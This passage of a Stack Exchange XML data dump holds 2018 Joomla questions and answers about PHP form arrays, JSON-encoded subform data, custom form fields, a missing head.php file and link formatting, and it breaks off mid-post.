  <row Id="23096" PostTypeId="1" CreationDate="2018-07-03T09:54:08.400" Score="0" ViewCount="322" Body="&lt;p&gt;I want to insert a row in my db-table with inputs from users. The form the users fill out is made with a foreach-loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($results as $row) {&#xA;    echo '&amp;lt;div class=&quot;vm_kampe&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;kid['.$row-&amp;gt;id.'&quot; value=&quot;'.$row-&amp;gt;id.'&quot;&amp;gt;'.$row-&amp;gt;hhold.' - '.$row-&amp;gt;uhold.'&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;vm_result&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;vm_resultat&quot; name=&quot;resu['.$row-&amp;gt;id.'&quot; placeholder=&quot;?-?&quot; value=&quot;'.$row-&amp;gt;resu.'&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;vm_1x2&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;vm_1x2&quot; name=&quot;bet['.$row-&amp;gt;id.'&quot; placeholder=&quot;1X2&quot; value=&quot;'.$row-&amp;gt;bet.'&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the receiving-end, I tried this, but doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$id = $jinput-&amp;gt;get('kid');&#xA;$resu = $jinput-&amp;gt;getString('resu');&#xA;$bet = $jinput-&amp;gt;getString('bet');&#xA;$uid = $user-&amp;gt;id;&#xA;$liga = 'bs';&#xA;&#xA;foreach ($id as $key =&amp;gt; $k) {&#xA;    $columns = array('id', 'uid', 'liga', 'resu', 'bet');&#xA;    $values = array($db-&amp;gt;quote($k), $db-&amp;gt;quote($uid), $db-&amp;gt;quote($liga), $db-&amp;gt;quote($resu[$key]), $db-&amp;gt;quote($bet[$key]));&#xA;    $query-&amp;gt;insert($db-&amp;gt;quoteName('tip3_kuponer'))-&amp;gt;columns($columns)-&amp;gt;values(implode(',', $values));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just say something about:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;invalid argument in foreach....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12400" LastEditorUserId="12352" LastEditDate="2018-07-07T12:06:42.287" LastActivityDate="2018-07-07T12:06:42.287" Title="How to access user-submitted values from a dynamic form?" Tags="|php|mysql|form|array|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="23098" PostTypeId="2" ParentId="9513" CreationDate="2018-07-03T16:42:33.360" Score="0" Body="&lt;p&gt;Use &lt;code&gt;getAttribute()&lt;/code&gt; to get an attribute of the field as it appears in XML form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($form-&amp;gt;getFieldset('company') as $field)&#xA;{&#xA;    $form-&amp;gt;removeField($field-&amp;gt;getAttribute('name'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-11-30T21:24:47.147" LastActivityDate="2018-11-30T21:24:47.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23099" PostTypeId="1" AcceptedAnswerId="23275" CreationDate="2018-07-03T22:02:57.117" Score="1" ViewCount="765" Body="&lt;p&gt;I'm building a tool to import content for various languages. It makes copies of existing items such as menus, articles, modules, etc. that have language specific content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when copying an article, I use the following to load the content table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$contentSrcTbl = JTable::getInstance('Content', 'JTable', array());&#xA;$contentSrcTbl-&amp;gt;load(array('alias' =&amp;gt; $article['alias']));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the table names for menus, articles, and modules, but can't seem to find a list of tables names to use in the getInstance call. At the moment, I'm looking for the table name to use for template styles. I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Template&lt;/li&gt;&#xA;&lt;li&gt;Templates&lt;/li&gt;&#xA;&lt;li&gt;Style&lt;/li&gt;&#xA;&lt;li&gt;Styles&lt;/li&gt;&#xA;&lt;li&gt;TemplateStyle&lt;/li&gt;&#xA;&lt;li&gt;TemplatesStyle&lt;/li&gt;&#xA;&lt;li&gt;TemplatesStyles&lt;/li&gt;&#xA;&lt;li&gt;TemplatesTableStyle&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last one is the name of the class in the tables folder under the Templates component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But none of those return a jtable object, they all return null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a list showing the table names associated with the core Joomla tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no list, how can I find out what to use for the table name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10969" LastActivityDate="2018-08-04T11:55:09.443" Title="Joomla core table names for JTable::getInstance?" Tags="|joomla-3.x|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23102" PostTypeId="2" ParentId="23096" CreationDate="2018-07-05T06:39:36.530" Score="1" Body="&lt;h2&gt;First, you need to repair your damaged form html&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// see the missing closing square bracket on each of your name attr ---↓-------------------↓-↓&#xA;                                                                       ↓                   ↓ ↓&#xA;echo '&amp;lt;div class=&quot;vm_kampe&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;kid['.$row-&amp;gt;id.'←                   ↓ ↓&#xA;      &amp;lt;div class=&quot;vm_result&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;vm_resultat&quot; name=&quot;resu['.$row-&amp;gt;id.'← ↓&#xA;      &amp;lt;div class=&quot;vm_1x2&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;vm_1x2&quot; name=&quot;bet['.$row-&amp;gt;id.'←-----------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because it is producing a one-dimensional &lt;code&gt;$_GET&lt;/code&gt; (SUPERGLOBAL) array like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_GET = array(&#xA;    'kid[1' =&amp;gt; '1',&#xA;    'resu[1' =&amp;gt; 'somethingA',&#xA;    'bet[1' =&amp;gt; 'somethingB',&#xA;    'kid[2' =&amp;gt; '2',&#xA;    'resu[2' =&amp;gt; 'somethingC',&#xA;    'bet[2' =&amp;gt; 'somethingD',&#xA;    etc.&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but really, you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_GET = array(&#xA;    'kid' =&amp;gt; array('1' =&amp;gt; '1', '2' =&amp;gt; '2', etc.),&#xA;    'resu' =&amp;gt; array('1' =&amp;gt; 'somethingA', '2' =&amp;gt; 'somethingC', etc.),&#xA;    'bet' =&amp;gt; array('1' =&amp;gt; 'somethingB', '2' =&amp;gt; 'somethingD', etc.)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'll recommend this loop code block (using more lines to improve readability of my answer):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($results as $row) {&#xA;    echo '&amp;lt;div class=&quot;vm_kampe&quot;&amp;gt;';&#xA;        echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;kid[' , $row-&amp;gt;id , ']&quot; value=&quot;' , $row-&amp;gt;id , '&quot;&amp;gt;';&#xA;        echo $row-&amp;gt;hhold , ' - ' , $row-&amp;gt;uhold;&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;    echo '&amp;lt;div class=&quot;vm_result&quot;&amp;gt;';&#xA;        echo '&amp;lt;input type=&quot;text&quot; class=&quot;vm_resultat&quot; name=&quot;resu[' , $row-&amp;gt;id , ']&quot; placeholder=&quot;?-?&quot; value=&quot;' , $row-&amp;gt;resu , '&quot;&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;    echo '&amp;lt;div class=&quot;vm_1x2&quot;&amp;gt;';&#xA;        echo '&amp;lt;input type=&quot;text&quot; class=&quot;vm_1x2&quot; name=&quot;bet[' , $row-&amp;gt;id , ']&quot; placeholder=&quot;1X2&quot; value=&quot;' , $row-&amp;gt;bet , '&quot;&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}  // remove the trailing semi-colon here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Second, change your submission method&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Because you are delivering user-supplied data which will be saved to the database, &lt;code&gt;POST&lt;/code&gt; is best/common practice versus &lt;code&gt;GET&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Third, collect and process the multi-dimensional &lt;code&gt;$_POST&lt;/code&gt; data&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(I didn't test this advice)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$kids = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('kid', [], 'array');&#xA;$resus = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('resu', [], 'array');&#xA;$bets = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('bet', [], 'array');&#xA;&#xA;// just a general example of accessing the sets of data...&#xA;foreach ($kids as $id =&amp;gt; $kid) {&#xA;    echo &quot;For $id, kid is $kid, resu is {$resu[$id]}, bet is {$bet[$id]}&amp;lt;br&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to integrate your query with the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Joomla 4.0 rolls out, your INSERT query will be a perfect candidate for a single prepared statement with bound parameters, and iterated executions.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-07-05T06:39:36.530" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23104" PostTypeId="1" AcceptedAnswerId="23108" CreationDate="2018-07-05T13:24:43.530" Score="1" ViewCount="372" Body="&lt;p&gt;I created a simple component with a subform that stores data in a database. Now I need to display this data on the front page. The data is displayed as is from db &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;comment0&quot;:{&quot;comment&quot;:&quot;one&quot;},&quot;comment1&quot;:{&quot;comment&quot;:&quot;two&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I fix it and get values &lt;code&gt;one, two&lt;/code&gt; on front-end? Please tell me step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;views/myview/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die; ?&amp;gt;&#xA;&amp;lt;?php foreach ($this-&amp;gt;items as $item) : ?&amp;gt;&#xA;&#xA;            &amp;lt;?php echo $item-&amp;gt;comment; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;views/myview/view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;class MycomponentViewMyView extends JViewLegacy {&#xA;    protected $items;&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;items        = $this-&amp;gt;get('Items');&#xA;&#xA;        $app        = JFactory::getApplication();&#xA;        $params     = $app-&amp;gt;getParams();&#xA;        $this-&amp;gt;assignRef( 'params', $params );&#xA;&#xA;        if (count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            JError::raiseError(500, implode(&quot;\n&quot;, $errors));&#xA;            return false;&#xA;        }&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also standard model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;class MyComponentModelMyModel extends JModelList {&#xA;    public function __construct($config = array())&#xA;    {&#xA;        if (empty($config['filter_fields']))&#xA;        {&#xA;            $config['filter_fields'] = array(&#xA;                'id', 'a.id'&#xA;            );&#xA;        }&#xA;&#xA;        parent::__construct($config);&#xA;    }&#xA;&#xA;    protected function populateState($ordering = null, $direction = null)&#xA;    {&#xA;        $id = JRequest::getInt('id');&#xA;        $this-&amp;gt;setState('id', $id);&#xA;    }&#xA;&#xA;    protected function getListQuery()&#xA;    {&#xA;        $db     = $this-&amp;gt;getDbo();&#xA;        $query  = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $query-&amp;gt;select(&#xA;            $this-&amp;gt;getState(&#xA;                'list.select',&#xA;                'a.id, a.comment,'&#xA;            )&#xA;        );&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('#__mycomponent').' AS a');&#xA;        $query-&amp;gt;where('(a.state IN (0, 1))');&#xA;&#xA;        if ($id = $this-&amp;gt;getState('id'))&#xA;        {&#xA;            $query-&amp;gt;where('a.id = '.(int) $id);&#xA;        }&#xA;        return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12668" LastEditorUserId="12352" LastEditDate="2018-07-06T08:05:35.363" LastActivityDate="2018-07-06T08:43:07.817" Title="How display values from subform in front end?" Tags="|front-end|subform|json|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23107" PostTypeId="2" ParentId="16057" CreationDate="2018-07-06T05:40:27.810" Score="-1" Body="&lt;p&gt;Why not turn off the plugin on all sites except one... that way you still get notified, but only from one site.&lt;/p&gt;&#xA;" OwnerUserId="12685" LastActivityDate="2018-07-06T05:40:27.810" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23108" PostTypeId="2" ParentId="23104" CreationDate="2018-07-06T05:49:01.200" Score="0" Body="&lt;p&gt;I don't know if there is a Joomla-specific fix for this, but it seems that you will simply need to decode your json string.  I don't know how your actual data may vary or if you will want to including any conditional handling, but you can just loop through the generated multi-dimensional data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming &lt;code&gt;echo $item-&amp;gt;comment;&lt;/code&gt; inside of your loop is displaying &lt;code&gt;{&quot;comment0&quot;:{&quot;comment&quot;:&quot;one&quot;},&quot;comment1&quot;:{&quot;comment&quot;:&quot;two&quot;}}&lt;/code&gt;, then you can &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;https://3v4l.org/XfV81&quot; rel=&quot;nofollow noreferrer&quot;&gt;demonstration&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comment_json = '{&quot;comment0&quot;:{&quot;comment&quot;:&quot;one&quot;},&quot;comment1&quot;:{&quot;comment&quot;:&quot;two&quot;}}';&#xA;↑↑↑↑↑↑↑↑↑↑↑↑↑&#xA;------------------------------------- this is effectively your $item-&amp;gt;comment&#xA;                        ↓↓↓↓↓↓↓↓↓↓↓↓↓&#xA;$comments = json_decode($comment_json);&#xA;&#xA;foreach ($comments as $key =&amp;gt; $set) {&#xA;    echo &quot;$key contains:\n&quot;;&#xA;    foreach ($set as $label =&amp;gt; $value) {&#xA;        echo &quot;\t$label : $value\n&quot;;&#xA;    }&#xA;    echo &quot;---\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;comment0 contains:&#xA;    comment : one&#xA;---&#xA;comment1 contains:&#xA;    comment : two&#xA;---&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*I've added &lt;code&gt;\n&lt;/code&gt; and &lt;code&gt;\t&lt;/code&gt; for better readability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be different ways to handle the decoded data, but this is probably the easiest to read and manage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, storing data in a database as a json string &lt;em&gt;can&lt;/em&gt; indicate a suboptimal database design in some cases ...but I'll avoid that debate because too much is unknown about your data and its intended usage.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-07-06T05:49:01.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23109" PostTypeId="2" ParentId="23104" CreationDate="2018-07-06T08:43:07.817" Score="0" Body="&lt;p&gt;It works. thanks for the solution mickmackusa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;views/myview/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die; ?&amp;gt;&#xA;&amp;lt;?php foreach ($this-&amp;gt;items as $item) : ?&amp;gt;&#xA;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$comment_json = $item-&gt;comment;&#xA;$comments = json_decode($comment_json);&#xA;foreach ($comments as $key =&gt; $set) {&#xA;    echo &quot;$key contains:\n&quot;;&#xA;    foreach ($set as $label =&gt; $value) {&#xA;        echo nl2br (&quot;\t$label : $value\n&quot;);&#xA;    }&#xA;    echo &quot;---\n&quot;;&#xA;}&#xA;?&gt;&#xA;&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12668" LastActivityDate="2018-07-06T08:43:07.817" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23110" PostTypeId="2" ParentId="18328" CreationDate="2018-07-06T13:21:58.647" Score="1" Body="&lt;p&gt;IMAP/SMTP do not work be default with Gmail accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably need to enable less secure apps: &lt;a href=&quot;https://support.google.com/accounts/answer/6010255?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.google.com/accounts/answer/6010255?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2018-07-06T13:21:58.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23111" PostTypeId="1" AcceptedAnswerId="23666" CreationDate="2018-07-06T15:04:01.200" Score="0" ViewCount="204" Body="&lt;p&gt;for curiosity:&#xA;I'm using this method to add fields to the standard articles:&#xA;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin/de&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin/de&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to use this, since the fields-component does not have subforms, but i prefer this anyway, since i have more control if i write it as plugin..&#xA;This has worked great in the last few years, but i have one little issue:&#xA;When i want to use a custom form field type inside the subform (with the multiple attribute, so that i can create multiple items), i do not know how to set/get the saved value, for instance if i have a select, i have to get the saved value somehow when reopening the article.&#xA;If it was a single field thats no problem, just get the attributes and get the specific value.&#xA;But since it is a list, how do i get the current value of that field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance and best regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code inside the main form xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;fieldset name=&quot;newset&quot; label=&quot;New Set&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;person&quot;&#xA;            type=&quot;subform&quot;&#xA;            formsource=&quot;plugins/content/cfields/forms/person.xml&quot;&#xA;            multiple=&quot;true&quot;&#xA;            min=&quot;1&quot;&#xA;            max=&quot;99&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The person xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;field&#xA;        type=&quot;building&quot;&#xA;        name=&quot;building&quot;&#xA;        label=&quot;Building person works in&quot; /&amp;gt;&#xA;    &amp;lt;field&#xA;        type=&quot;text&quot;&#xA;        name=&quot;name&quot;&#xA;        label=&quot;Name&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Field code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die();&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldBuilding extends JFormField&#xA;{&#xA;    protected $type = 'Building';&#xA;&#xA;    private function getBuildings()&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('*')-&amp;gt;from($db-&amp;gt;quoteName('#__buildings'));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result = $db-&amp;gt;loadObjectList();&#xA;&#xA;        return $result;&#xA;    }&#xA;&#xA;    public function getInput()&#xA;    {&#xA;        $rows = $this-&amp;gt;getBuildings();&#xA;        $return = '&amp;lt;select id=&quot;'.htmlspecialchars($this-&amp;gt;id, ENT_QUOTES).'&quot; name=&quot;'.htmlspecialchars($this-&amp;gt;name, ENT_QUOTES).'&quot;&amp;gt;';&#xA;&#xA;        foreach($rows as $row)&#xA;        {&#xA;            $return .= '&amp;lt;option value=&quot;'.htmlspecialchars($row-&amp;gt;alias, ENT_QUOTES).'&quot;&amp;gt;';&#xA;            $return .= htmlspecialchars($row-&amp;gt;title, ENT_QUOTES);&#xA;            $return .= '&amp;lt;/option&amp;gt;';&#xA;        }&#xA;&#xA;        $return .= '&amp;lt;/select&amp;gt;';&#xA;        return $return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since this field will be repeated and saved in the attributes column of the current article, how do i find out the current value?&lt;/p&gt;&#xA;" OwnerUserId="5783" LastEditorUserId="5783" LastEditDate="2018-07-09T07:07:45.920" LastActivityDate="2020-08-20T13:04:20.447" Title="Own field type in subform, using with content plugin" Tags="|plugin|subform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23112" PostTypeId="2" ParentId="22479" CreationDate="2018-07-06T23:15:16.843" Score="1" Body="&lt;p&gt;Because it is in a module it will not understand the context.&lt;/p&gt;&#xA;&lt;p&gt;Usually the fields are called by checking the article id from the menu item, but as it is a module, it does not have a menu item or an article id.&lt;/p&gt;&#xA;&lt;p&gt;So you need to find the article ID for each particular article.  Then call it that way.&lt;/p&gt;&#xA;&lt;p&gt;Here you can find out how to get the fields renderer to work:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Someone seems to have it working correctly here:&#xA;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=954346&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=954346&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you can't get that working put your code in your question and any error messages you see (set error reporting to maximum) and then you give people the best chance to help you.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2020-12-29T15:11:54.727" LastActivityDate="2020-12-29T15:11:54.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23115" PostTypeId="1" CreationDate="2018-07-07T13:20:34.473" Score="1" ViewCount="550" Body="&lt;p&gt;I don't know what's changed, but I'm getting this error message when trying to access site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: require_once(): Failed opening required '/homepages/1/d565826656/htdocs/maldonsharks/libraries/joomla/document/html/renderer/head.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've looked around a few forums and several suggest that the &quot;head.php&quot; reference is no longer valid and should point to &quot;/src…/HeadRenderer.php&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried updating the two files mentioned (error.php and offline.php), but then I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;404 article not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, I can find no issue with any published articles and nothing has been added recently, so I don't understand what could have changed for it to go wrong.&lt;/p&gt;&#xA;" OwnerUserId="12687" LastEditorUserId="12352" LastEditDate="2018-07-09T15:20:48.957" LastActivityDate="2018-07-09T15:20:48.957" Title="Why is the head.php file suddenly not found?" Tags="|joomla3.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23116" PostTypeId="2" ParentId="23115" CreationDate="2018-07-08T05:01:44.340" Score="1" Body="&lt;p&gt;The two errors have completely different (albeit related) causes.  The fatal error is caused by the fact you had an old Gantry template with a call to a file that got moved in the great src directory migration of 3.7(? I think.) So that fatal error in the error.php has been sitting there ready to happen since you upgraded you Joomla to 3.7+. The 404 error exposed the 500 error but has nothing to do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is every page on the site a 404 including the home page? Something must be happening but without seeing the site or knowing any further details it's a bit difficult to guess what's going on.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-07-08T05:01:44.340" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23118" PostTypeId="1" CreationDate="2018-07-08T21:46:45.660" Score="1" ViewCount="83" Body="&lt;p&gt;I want to make sure that all my links from one article to another end in a '/'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, there is a link on article &quot;One&quot; that contains a link to &quot;Two&quot; and it's generated like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/two&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want it to be generated like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/two/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12693" LastEditorUserId="12352" LastEditDate="2018-07-09T06:53:10.137" LastActivityDate="2018-10-07T08:00:19.807" Title="How to automatically append slash to article links?" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23119" PostTypeId="2" ParentId="23118" CreationDate="2018-07-09T06:29:58.047" Score="1" Body="&lt;p&gt;You can do this using a custom plugin that will just do a find and replace on all the links in the body of the HTML and append a forward slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can add a rule to your .htaccess file to have the links 301 redirected. See &lt;a href=&quot;https://stackoverflow.com/a/7781331/916491&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-07-09T06:29:58.047" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23121" PostTypeId="1" AcceptedAnswerId="23122" CreationDate="2018-07-09T19:59:37.783" Score="3" ViewCount="505" Body="&lt;p&gt;I've posted this over on &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=963520&amp;amp;p=3531603&quot; rel=&quot;nofollow noreferrer&quot;&gt;forum.joomla.org&lt;/a&gt; but don't know which user group is more active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to joomla but have extensive experience (10+ years) with other cms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client gave me a kickstart .jpa file to move their site to a new host server. The kickstart seemed to run fine but every page of admin has yellow warning box with &quot;00000, ,&quot;. &lt;a href=&quot;https://i.stack.imgur.com/SftrF.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SftrF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front end of the site on the new host only says &quot;Error&quot; but with almost a whole screen of html before. I can see joomla code (ie &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;) when I view frontend source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried turning on debugging in System &gt; Global Configuration &gt; System tab but there was no additional info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone 